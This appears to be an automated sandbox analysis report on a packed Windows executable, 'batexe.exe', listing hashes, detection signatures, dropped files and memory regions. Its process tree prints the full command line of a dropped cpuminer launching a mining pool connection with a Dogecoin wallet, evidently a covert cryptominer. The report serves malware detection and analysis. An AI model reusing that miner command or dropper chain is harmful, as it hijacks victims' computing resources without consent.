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Analysis

  • max time kernel
    294s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    18/02/2024, 17:54

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:212
    • C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3476
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BE10.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1152

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe

    Filesize

    1.4MB

    MD5

    fe4bc2bb4397eea601e0fa6c45cc20c6

    SHA1

    35477fc0a38f9db357a70f9b0573537fca582a9b

    SHA256

    8852fb3a8294753e6b088d458547feaf54685068ed6bc0dece93f608ab44afa7

    SHA512

    3759f54232069d2efba631954ff86bbf5ef58a616e4e0109c9ad5fcd632ee97ddf169ebddbe58237dbee36951c8d2e176312abe4e142f636398bff8fc2973bbf

  • C:\Users\Admin\AppData\Local\Temp\BB70.tmp\b2e.exe

    Filesize

    1.2MB

    MD5

    7b0f4c1d8506067fce25df5de733bcb7

    SHA1

    053b618c2012c6895e9709696395951acf15c165

    SHA256

    dd9a3eca69a73709146ebc228a433e0fef43ab6c12c2280725d798c7b494216a

    SHA512

    45ca44d04c436082073475b0bec73cdd3df1f0cc670d9a3d5dd77fc2b3b60ef870af5912d27269107222850b07234060eefb2d272b96de1367ff544cac506618

  • C:\Users\Admin\AppData\Local\Temp\BE10.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.4MB

    MD5

    f49c60db74970ad6464dd53eb480899a

    SHA1

    fe9f6f8e311d084590962a5b37fb870bb7b20138

    SHA256

    82d5c09073ffdb94c9b0777496d5a7e40e75e4b009293b9f5f333dbf6c8da326

    SHA512

    1a79b4b08c4da1d5c9fe1a2bae0c2836a89f04f66670157be5f22d05161d8926c531d4137d05317fabd6c1d281be2fb3dd012b25689b1ce4ae9335d7dbc177e7

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.3MB

    MD5

    af5059facad95621df8947026f5c34c5

    SHA1

    b994c974256aa8e6d5e3bd6c3f36cd7b20a9b843

    SHA256

    8cc46c87421849abbbdbfe1d8a378f16dbddfdb129ce44ca7819478ea5e1e170

    SHA512

    d126958870849c73c3f944ca5534b496fb5a76c92684cdd7958ed899d2dd88d98a5225d519b088998581b53fd2315c1e7322007e78fd5fd47db50e002cbaa3d5

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    916KB

    MD5

    9153c26d46d4c2671f14d3612e9900b9

    SHA1

    34be755d2d7325f288d296f0eb6cc23fcf489f33

    SHA256

    7fcdf1b6b7de962882affaba517daed2007014386bf97679c9e4191d2383b653

    SHA512

    d56a267f8b516630f628510047ae56df7246353a33a29ca479ca5fa6df9a9f726f4bd625d12c72e262af249cd57df6c46b714d5120f0da57b2c350ea1a00d04a

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.3MB

    MD5

    158e50386af6c0965a3bcfc50a38ab83

    SHA1

    2bde51bcf88f3f23afded53349548d23ced04804

    SHA256

    d0708d019c934e3ac2df641ea45af515bc9ad6b2da1122513beac4c9e4ea882b

    SHA512

    646403fa13eca30b309f8d2c311dadc152dfec30c6d25193cfec8791b6abbb8f133c658fae4ff181f6c6bb6973ceb5e6f7b3689aa2edd9908c96ba898357f379

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    946KB

    MD5

    fc6d6ab93e1367a316e325aaec7e680b

    SHA1

    9802c569b5403ac7b29a0c837993dae957c8046d

    SHA256

    50245f0aae534a19acfb4252e54f55d482c1e161a542c43e2a6cae1bb6768ffd

    SHA512

    9f413a78c4dca8d667f568cac20b540f80a28440aee00ce0a64d6f71352b1a9253fe1c1aa179e17ca297547a51f6e8605aa4d41a88cd89000798fea53a784ac1

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    5d838c102df2a346188f08a717fa0e56

    SHA1

    6b5cc5cf27313b66bc122dad98fd1902fe0c83fe

    SHA256

    6b162c9eb46dd2189a30e99baa92f6e5e393e25d91c08c2ed413c33289484b7b

    SHA512

    34e1706ec5228f17cfa21679f215bf7f8eb2753990307650c089ceb121b644ebc8fb36ec58226fb305d84955bf10b08e74b4648e30095877dd4392ef4a6318c9

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    dbf3c2e0b98d2afa6e6cdda597142cf4

    SHA1

    10a80378106524779c61ebac965a125cb2dd5611

    SHA256

    c3bb47c8bc745ea42f5b5dd5619cc206ae0105d3d888a8f13dbb16806adf5a1c

    SHA512

    0e877f15fa0a8dc7399cbc0e9c1296ec0db84f55dfbe9ffd7f54a420f170504554ef1c09254cedd3434cb2e7cf97dda117282fcd1522b127f9bb0af22e32a817

  • memory/212-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/1152-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-43-0x0000000073DA0000-0x0000000073E38000-memory.dmp

    Filesize

    608KB

  • memory/1152-42-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1152-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1152-44-0x00000000010D0000-0x0000000002985000-memory.dmp

    Filesize

    24.7MB

  • memory/1152-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1152-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3476-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3476-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB